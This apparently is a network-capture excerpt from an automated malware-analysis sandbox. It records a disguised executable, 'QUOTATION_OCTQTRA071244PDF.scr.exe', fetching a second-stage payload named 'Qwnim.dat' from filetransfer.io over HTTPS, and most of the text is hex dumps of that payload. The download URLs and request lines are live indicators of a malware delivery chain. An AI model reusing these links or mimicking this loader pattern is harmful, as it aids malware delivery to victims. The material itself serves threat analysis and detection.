{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xe5L627CIy64PRyffkK3Iz8XrErb%2FIlXjxKku4l78lxjDgJo8ycDAvYWWZie%2F4mvUVQq3Jox0F4yaId%2FuTEPvOhdmaa6kc1yZtCeSru5YfTl%2BB0ABk%2FATgjzeUOQux9EnS4JX7sv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41f084ceb334e-EWR alt-svc: h3=":443"; ma=86400
2024-10-04 09:24:51 UTC	315	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:24:51 UTC	1369	IN	Data Raw: 67 7f b1 57 7c 19 01 a6 7d b7 39 12 c5 6d b5 8e 3f d7 5d d8 04 24 0b f3 31 0d 97 04 b1 49 bf 4b 3e 16 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb Data Ascii: gW\|}9m?]$1IK>g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5
2024-10-04 09:24:51 UTC	1369	IN	Data Raw: 7a d2 f7 2c 18 09 96 75 a1 f0 db df 5f f9 0d 8d 87 b3 97 eb 10 2d 5a 3f ac b1 f8 a6 47 8f 77 48 05 21 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 Data Ascii: z,u_-Z?GwH!8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0h
2024-10-04 09:24:51 UTC	1369	IN	Data Raw: 38 e0 b0 1b da c8 3d ca bb 55 29 e6 7c 29 83 10 6c bc 8d 29 14 72 9b 9e 4a 72 f7 58 a7 70 dc ca dd 11 26 c4 ae b4 07 4a 11 c2 3d d3 cb 43 b8 85 71 2a 7f 02 48 e5 f2 3c 1d 0e 33 1a 0f 0d c8 c5 ec 42 6f 2b f7 0b c2 5b 14 d2 9d 6c 8f 67 72 ea 25 46 30 a7 82 8f 4d 08 e0 30 cc 25 48 66 15 c2 23 bd 05 5f 12 26 90 de e2 4f 3f cc 74 bc 05 d7 c1 20 1f 7a d7 a7 c6 ea 27 14 34 45 66 7d 63 8b 32 30 95 f2 0c 2b 5d a7 da 33 b3 86 c1 83 0b d6 65 0d e5 43 c6 4d b8 15 1c ef 47 07 ca b9 e7 75 fa b2 4c d3 8f 79 f4 d7 cb 87 25 02 62 2a f3 dc d4 2e a4 5a bd fe 96 b9 16 a6 4a c2 af f5 ff ff ef c2 36 75 e0 ff b3 c4 b3 66 ec eb e4 44 55 2d 1a c4 11 0b 5d 71 0e 7b 8c ef 13 d4 ec fc 7a 35 96 70 af e9 57 de ae 36 d1 67 f8 ff 6b 25 f4 b6 b3 4a ac 6f c3 c4 69 40 71 71 cb f7 33 2c dd Data Ascii: 8=U)\|)l)rJrXp&J=CqH<3Bo+[lgr%F0M0%Hf#_&O?t z'4Ef}c20+]3eCMGuLy%b.ZJ6ufDU-]q{z5pW6gk%Joi@qq3,
2024-10-04 09:24:51 UTC	1369	IN	Data Raw: 79 ca 22 e5 fa a5 31 da 05 67 3e 2f 39 cc 25 85 1b 7b 64 87 02 5e d4 e4 04 db 16 94 17 7d 59 97 dd 5c 21 51 15 05 3d 35 3d 5c a7 50 81 19 7e db 8f 9f 3d e6 fa 96 da 62 6f c6 17 19 93 db 8e 1a 26 76 91 81 ca 74 bb 8e 6d e0 80 90 c6 6b 66 de 8b d6 5a cb 1d aa c5 96 01 99 85 e1 0c 4e f5 f0 38 43 78 70 f4 76 7c 6a 68 1f ed 65 5a c0 cf ab 30 9d 15 50 4e b5 f1 74 bb 9b 08 96 61 6b 89 1d a0 05 34 e6 d6 d7 45 3a aa 13 a7 b0 51 57 4e 9a de 8c 51 c4 c7 3b 0c 42 9d 50 00 11 37 68 fd a9 81 d3 e9 52 2f 59 35 fe 97 43 14 6d cb 53 18 c3 aa cc 4b c3 d4 ef 4a 87 1e 6d 71 a8 de dd 7b 78 06 d5 6b 9b 34 9c 86 2d 3f 0e e9 80 4d 6b e7 4e 86 16 a9 e6 ee 1b f2 f7 de 0e aa c4 f6 51 1b 94 81 16 29 14 42 b9 4f 49 15 2b 6c bc 6f 2a e3 8f 82 0e a6 58 7e 56 d6 d0 16 af 1b 6f 45 fd 10 Data Ascii: y"1g>/9%{d^}Y\!Q=5=\P~=bo&vtmkfZN8Cxpv\|jheZ0PNtak4E:QWNQ;BP7hR/Y5CmSKJmq{xk4-?MkNQ)BOI+lo*X~VoE
2024-10-04 09:24:51 UTC	1369	IN	Data Raw: e1 0b ac cd dc a8 5b 71 39 a8 c8 a1 87 bf 2e 2d 7b 90 86 22 cd 9e 89 12 6f 80 b1 4c c8 a6 df ca dd ee 0b a8 96 cf 42 34 73 38 d3 b5 0f ea ba af 14 9e 3d 75 76 b6 c3 13 1d 18 a5 4d 50 25 0d 9f 2d 96 2e c7 88 74 43 bf 3a 3e cd fc 00 8a 82 e1 6f 97 da 50 04 36 6e 3e 3b cf 45 b2 7a 08 fc db 13 cd 80 18 9b 7b 1e 4f 38 28 3f 8f a0 90 e2 86 d9 c4 6e 97 e9 4b 4c cb 2d 7b 30 b4 f5 e9 78 33 cb 9c 10 d8 48 84 74 c8 9b 55 a3 7d 80 15 20 54 d8 33 7c 97 75 bd 53 28 c7 38 0e 51 17 11 7e ab 1b 7b 89 88 39 79 18 b8 e0 29 92 fd da 00 85 5c ae d5 8b a0 2d 49 9d 72 20 e6 b8 17 ab ad 24 8b 69 e0 2f d2 29 c3 db 88 ed 7d e8 39 76 8e 14 bc 51 c0 4b 8d 32 9c 7f 03 ee f9 ae 8f 74 c3 e7 94 74 9d 7c 6e 2b b2 97 a9 a2 af 9e 39 52 8a 07 6b 99 5a 8d 05 0a 73 9f 6f ec 4b d1 66 6e e1 4d Data Ascii: [q9.-{"oLB4s8=uvMP%-.tC:>oP6n>;Ez{O8(?nKL-{0x3HtU} T3\|uS(8Q~{9y)\-Ir $i/)}9vQK2tt\|n+9RkZsoKfnM
2024-10-04 09:24:51 UTC	1369	IN	Data Raw: da 83 7a a4 9d b8 f8 5f b0 26 08 84 e2 26 75 5d b1 ac 05 b2 a5 dd f9 ff 83 5e 23 cc 49 66 0a 53 76 94 0d 35 dd 04 d8 f5 98 53 09 2d de 64 36 f6 77 ee 33 4b f6 75 bb 68 40 9d 33 c8 b3 b9 b8 57 ec 36 71 50 53 cd 85 93 4b 2a ea ca 5f c1 d5 99 a0 1f d8 37 1a 06 5a f4 04 26 08 c9 92 51 d1 33 84 cc ca 61 8d 6b 98 c1 9f a1 af 23 f0 6a 78 10 da a3 22 d8 72 66 ad 86 7b 67 e5 3a b2 6c 49 89 6a 34 f9 a6 10 19 8a 96 94 4c eb b9 99 83 b7 54 90 10 8c 13 dc 48 dc 69 a5 44 31 0a 06 82 06 16 20 0a 24 2d 6c 56 0d 00 7a a9 5f f3 37 a3 45 58 ee 12 c6 45 da 1f ee 35 a9 54 4b a5 f5 9d 3d 72 3a 27 05 f0 ff 90 d6 b5 2a 93 9b 7a 2d f2 0d 5e 88 d2 3a c3 73 d6 1b 78 ef 45 ff b1 66 4f 63 20 ee 7b a9 0f 58 1a 71 12 e0 e6 e6 48 06 ec 72 1a fd 93 dd 87 f9 95 ff 81 d8 54 d1 d6 cf 29 df Data Ascii: z_&&u]^#IfSv5S-d6w3Kuh@3W6qPSK_7Z&Q3ak#jx"rf{g:lIj4LTHiD1 $-lVz_7EXE5TK=r:'z-^:sxEfOc {XqHrT)
2024-10-04 09:24:51 UTC	1369	IN	Data Raw: 9e a9 5c 07 25 a2 f9 0b f5 32 b9 99 24 40 06 33 14 a2 41 e1 7b 04 3a 5d fd 11 38 6a 6c a6 f1 c4 42 eb bf a6 96 07 b8 eb c9 d1 15 ff 96 87 05 fc 6a c2 57 c7 65 32 4b 36 06 79 84 6e 7d 1a af 7f 98 dd a7 f9 c5 ec 36 0c 71 f1 3b d4 b5 7d a6 40 32 3d 5e a5 8c 73 eb 9b 69 1f 1f e4 0a 08 0d 52 51 ca 77 4c d2 d6 68 ce a5 b1 be e6 4f c5 5a 95 bc 6d 08 be 3c da ae 66 32 14 4b 51 52 8d 5c 64 c4 c5 07 ba b8 60 bc 6f f0 7c 74 f4 03 57 78 d3 59 ec fd 88 d6 de 9b cc 60 5b 27 6f 13 f8 e2 fd ba 01 d3 a1 12 8e 04 a4 39 73 10 7a 1c 8f 39 f8 18 e7 96 f9 b6 f7 35 6d eb 99 4e d0 2b 67 2a 1d a2 67 65 9f d6 ee bc 07 d9 b8 e3 97 ba 08 22 09 3c 94 2a 1d a0 a8 61 28 24 0a 57 55 16 69 77 bd ae e3 cc 49 1e c3 02 44 a5 88 1b 0b 96 10 70 e7 61 5d 20 8b b1 c2 74 81 ea 2f 90 36 69 e1 fa Data Ascii: \%2$@3A{:]8jlBjWe2K6yn}6q;}@2=^siRQwLhOZm<f2KQR\d`o\|tWxY`['o9sz95mN+gge"<a($WUiwIDpa] t/6i
2024-10-04 09:24:51 UTC	1369	IN	Data Raw: 95 79 e1 88 c0 14 02 f8 75 24 d0 50 17 ce 42 84 b6 c1 af 80 b9 1d eb 54 7c 85 75 a6 2f a1 69 6a 20 ac c8 ee 23 94 98 a1 e4 68 7c 27 7c 08 25 79 f5 19 04 79 8b 69 1c d5 f0 30 e7 5d b3 47 e4 b6 c3 d3 5c 44 92 15 d8 5c 95 aa ba 56 b4 c6 c2 1d b3 30 14 77 c8 6d d5 82 1c c8 a6 9c 51 6d 14 a9 26 02 1a 75 e3 42 a5 9a 30 fd 2a ec f7 52 27 24 6f d2 d7 96 ff ff 9d 20 9b 11 8e d3 ee 66 03 1f 1b b0 dc 96 11 c3 28 ab a7 f8 d8 42 f8 e4 33 15 ac e6 d0 28 c6 77 0c fb ca 4a 02 73 74 b7 ef 8c 1b b8 bc 44 4b 43 91 42 e9 95 c3 1a fd 3b 57 67 88 c3 ef 8c c1 6b 48 3a 33 01 d8 4f 7b 9b 4c 58 8a 41 9b 32 af 2c 5d 4d 35 e4 75 d0 bc d9 8b ce 59 17 15 dd 06 78 85 f5 62 43 a8 ce a8 df 2d 67 f5 0d a9 15 5d cd 67 93 70 19 5f 37 fd 01 da b7 b7 04 d1 79 1d 09 54 ed 91 6d 46 52 3a 51 e4 Data Ascii: yu$PBT\|u/ij #h\|'\|%yyi0]G\D\V0wmQm&uB0*R'$o f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Q
2024-10-04 09:24:51 UTC	1369	IN	Data Raw: f4 50 29 6e ce f0 8e 4a 59 e2 e1 72 61 d1 32 0c 8d 14 f6 a2 7e 93 61 ac 3d b3 24 7f 64 bc 84 ab 4e 04 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b Data Ascii: P)nJYra2~a=$dNc3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50179	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:55 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:56 UTC	1070	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:24:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=l1hekpfee9mku8m09sg3slrjsv; expires=Fri, 18-Oct-2024 09:24:56 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/VzWqBQCvAaEg CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kGVDS%2FqDphJna7CHfL6pCULJb3W%2FNd77ckiFljtHjOdO1X8%2Bk%2FHe%2FhxpBGk5iMrsXxKdJzXgV4157RboicBqDwlFEuJgZNbl3CjsdLgtMwcxOEDc8wf6EipQxACDAMkQ7RM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd41f291becc46d-EWR
2024-10-04 09:24:56 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 56 7a 57 71 42 51 43 76 41 61 45 67 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/VzWqBQCvAaEg">Please click here to continue</a>.</p>
2024-10-04 09:24:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50180	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:24:57 UTC	98	OUT	GET /storage/download/VzWqBQCvAaEg HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:24:57 UTC	1022	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:24:57 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=a4113ecc4ccaede5f91c8b5058ccfd3a; expires=Fri, 18-Oct-2024 09:24:57 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7YXeyVE8kyFASMvs9w1O1qL6PyXJ6wqL2W9mLfFBB7MkPjdAJIu%2Bp0VFKLmlos5UKk%2BvyREchMNKKVu7EJHg0ZKR3Q5yF%2FZyFn3pFqOHOGXCi9cBLyJVZvKv%2FmTf1FsNvNdrWhvf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd41f311d2c42e2-EWR
2024-10-04 09:24:57 UTC	1369	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:24:57 UTC	1369	IN	Data Raw: da 56 5d 1c 30 5d d4 a8 71 04 f4 f4 99 09 60 d1 7a ab e0 9f d9 88 d0 ad 46 84 e3 18 f2 6e 37 8f 24 49 45 d5 43 3f d8 3d 01 d6 48 d8 f9 63 c7 89 87 2d d7 15 3b a5 dc e5 58 1e 10 8d 9c 03 ad ac 0c a8 d1 84 07 c0 3b ab 10 ae ee f4 24 01 6f bc df 4d 85 64 89 37 8c aa df 56 b5 f8 07 6b df 2d e0 51 1a fd 88 5e ba d2 39 d4 18 0f aa 27 2f ce 84 68 92 1c 45 c4 fd ab e0 8d bc af bf ba 1d 43 7b 28 b3 4e 70 ff f7 7f 96 fe db 60 bd 79 db 09 bc 30 36 98 b9 11 f1 c7 11 48 a1 9a d7 c7 8c 82 90 ce 21 1d b0 72 b0 db 11 3e 3c 11 e5 33 b9 8e 3b cd dd c9 fe 52 1b 48 9d 5e 51 8a e8 5b 59 ff 91 2f a8 84 9a 29 d9 2c 35 b6 5e f2 59 64 f4 e9 ff 60 ba a0 28 65 69 6e a4 2d 39 2c d6 eb 3c ac 50 e4 7b 77 d8 1f 87 0d 90 67 a9 eb 8a c9 19 f1 71 e4 d3 a4 5f d9 10 4f 24 a8 83 9b 33 f6 c6 Data Ascii: V]0]q`zFn7$IEC?=Hc-;X;$oMd7Vk-Q^9'/hEC{(Np`y06H!r><3;RH^Q[Y/),5^Yd`(ein-9,<P{wgq_O$3
2024-10-04 09:24:57 UTC	1369	IN	Data Raw: 53 66 41 70 68 6c f0 f3 73 f2 c9 a7 cb 1e f6 25 44 47 df 24 f4 c0 9e c0 55 42 10 65 0d a1 a4 45 ca 58 d1 94 fb c6 61 c6 60 5e 48 1c 10 19 d7 94 bf 23 a2 4f d5 a9 15 2c 28 0b d9 c3 14 6b c8 aa 85 f5 a9 41 94 ec 62 fc ce b2 78 6e 66 99 47 00 15 71 01 62 eb 03 2d ef a0 aa 23 d6 f2 e0 65 44 d9 10 98 78 7b c7 b7 f6 16 3c 35 42 ee f8 a9 f3 35 95 4d dc 9c 10 38 a8 bf 44 7c 4b f0 48 2a 3f 5c 5b b4 4d 5f d5 3c 97 61 bd 8d 2f 11 93 73 d1 b3 1d b4 0e bd 7d c0 47 b0 16 0f 5f 2b 2d 92 db 05 4a 44 47 05 df a6 45 0b 86 32 89 a7 7d 36 e1 54 42 a7 12 f1 dc 59 e5 da 31 2a cf 54 e7 f0 a4 67 38 42 1e 5b 82 03 cd 51 30 e2 e4 86 e8 f4 33 77 bd 0e 94 d5 21 66 76 01 7b 14 3e ec 0b e1 f7 be f2 f5 4f bc cd d5 89 dc b4 89 ae 82 57 e4 ab 0d 1c 79 85 b9 ac 65 9c 00 30 9f 99 6e 6d 1b Data Ascii: SfAphls%DG$UBeEXa`^H#O,(kAbxnfGqb-#eDx{<5B5M8D\|KH?\[M_<a/s}G_+-JDGE2}6TBY1Tg8B[Q03w!fv{>OWye0nm
2024-10-04 09:24:57 UTC	1369	IN	Data Raw: 76 25 0b 95 48 9e 19 eb d6 3e 1a 14 da fe 07 fc 1f 27 3c cf 78 07 8e 76 6a 4b be df 40 89 ef b3 0a 9b 7a e2 c5 ff ef 56 a5 ca fb 9c cd e6 9e df 85 9f 85 f2 10 e8 77 a1 ea 68 9c 75 44 fa 8b ae 5c 00 eb 5f 5f 3e 7d 0d b6 8c 00 43 78 cc e2 87 05 a4 2f 51 11 18 13 07 39 f0 59 40 c9 f4 86 1b 7e 62 2d 36 17 dc 45 eb 0e 10 f4 4a 30 c8 3e d1 fe 6f 1a 6c 40 33 a7 5e 2c 6e 65 c0 9f 4d 9c 90 98 38 22 99 6a f2 15 d0 ac 18 76 ef 50 4b 44 08 d5 e9 e0 c3 3f 45 13 25 4d 0c be da ab 57 43 ef d5 d8 a2 c8 79 43 c7 3d cf 01 26 2e af f3 e9 87 18 4c 5a 49 ff e2 92 eb 54 0a 76 a6 0f 0e 4c 8f 85 eb 23 5d 53 df da 96 41 61 b0 c7 20 7b 4f 53 c0 1a 0a ed bf 58 cb 6b ca a7 d0 dd 4f 83 78 7c be f5 13 00 1f b6 9c 17 b4 a7 58 51 55 99 d4 4a 92 56 68 66 e1 33 99 cb dc a6 02 82 c1 4b 16 Data Ascii: v%H>'<xvjK@zVwhuD\__>}Cx/Q9Y@~b-6EJ0>ol@3^,neM8"jvPKD?E%MWCyC=&.LZITvL#]SAa {OSXkOx\|XQUJVhf3K
2024-10-04 09:24:57 UTC	1369	IN	Data Raw: e2 35 ed 46 a7 2c 65 7a 17 20 20 ff 08 81 c4 ea c3 02 b1 68 f8 df ab 4d 75 e7 42 f6 9d 33 ec 2c 27 55 4b 87 c1 7a f1 20 cb 81 33 ae f8 21 aa 4b 71 0c 82 41 d4 27 35 0b b7 6a 47 59 c6 3e 63 da de 5a b8 fd a3 37 d4 cf 8e 78 93 93 8a a1 1d a9 b8 19 4c bc a6 f1 af 09 d0 51 7c 7d f5 7c 10 d7 3a eb e1 36 b1 4f 81 eb e8 1a 9c c2 6b c5 72 f6 ba cf 43 54 b8 1a d1 b9 ac 78 77 80 4c cc 61 35 93 7c c0 63 27 6a 72 c1 c1 0b 58 fa 39 27 3a 68 fd 6f 19 b9 9b be 10 44 21 0b 50 07 c3 96 c7 f7 c3 8b 9f 76 5d c6 7e 28 77 16 18 ba fb 09 76 a8 c8 d2 ec c8 c9 9b 20 2d 7a ca 96 47 78 24 a6 58 ab b9 96 e4 0b 83 1a 5e 52 43 2b da 64 e1 6c d9 db 1a 1b 8a 5e 85 bb 93 e2 04 f6 0e cc a4 9c 80 38 bb 98 94 13 be 92 c4 55 aa a4 59 50 40 c9 38 b5 a2 65 ad bd e1 ab 9d 0b a9 2f 55 f8 80 ec Data Ascii: 5F,ez hMuB3,'UKz 3!KqA'5jGY>cZ7xLQ\|}\|:6OkrCTxwLa5\|c'jrX9':hoD!Pv]~(wv -zGx$X^RC+dl^8UYP@8e/U
2024-10-04 09:24:57 UTC	1369	IN	Data Raw: cf e3 34 fd 62 b6 19 07 14 4a c7 9d 49 f2 ae 2f 6c 12 22 91 1a a9 ff 84 12 34 6f a3 80 de 66 d8 36 49 42 e3 98 65 bb db 5c f1 00 98 89 d0 1a 40 30 2a d6 f2 5a 79 1b 44 a6 05 4d bc 6b 19 31 9a 1a 98 54 a3 27 33 50 3f 40 f4 d3 a7 37 14 a2 71 43 4a d8 40 13 f0 0e c4 ab cd 20 2a 84 37 98 05 42 ee 63 14 b5 1a f4 7b 57 84 7e c6 fc b5 27 e8 34 fa 49 a4 41 d8 5d a6 2e a8 cc c9 70 1d b0 81 ea b8 7c 67 e8 1d ed aa 0a d5 f4 49 8e 81 de f4 35 71 d5 54 31 c3 6a 61 bf 0a 9b b3 be b7 34 4b c4 1d 16 1a b2 5f 29 52 98 ac cf 93 4a ae 09 dc 07 c3 b2 24 af ba 88 61 03 68 b7 6f a9 29 e9 99 bc 53 1e 8e 98 29 c9 62 79 ab 4c f6 2f 58 72 c9 89 29 18 f4 c9 98 17 e5 42 71 10 60 f3 71 04 32 37 04 8d a6 fc 79 3e 41 f1 57 88 d0 25 8f 02 cd a8 ab f7 03 4c 49 36 f1 16 6d cc ff 86 8e ee Data Ascii: 4bJI/l"4of6IBe\@0ZyDMk1T'3P?@7qCJ@ 7Bc{W~'4IA].p\|gI5qT1ja4K_)RJ$aho)S)byL/Xr)Bq`q27y>AW%LI6m
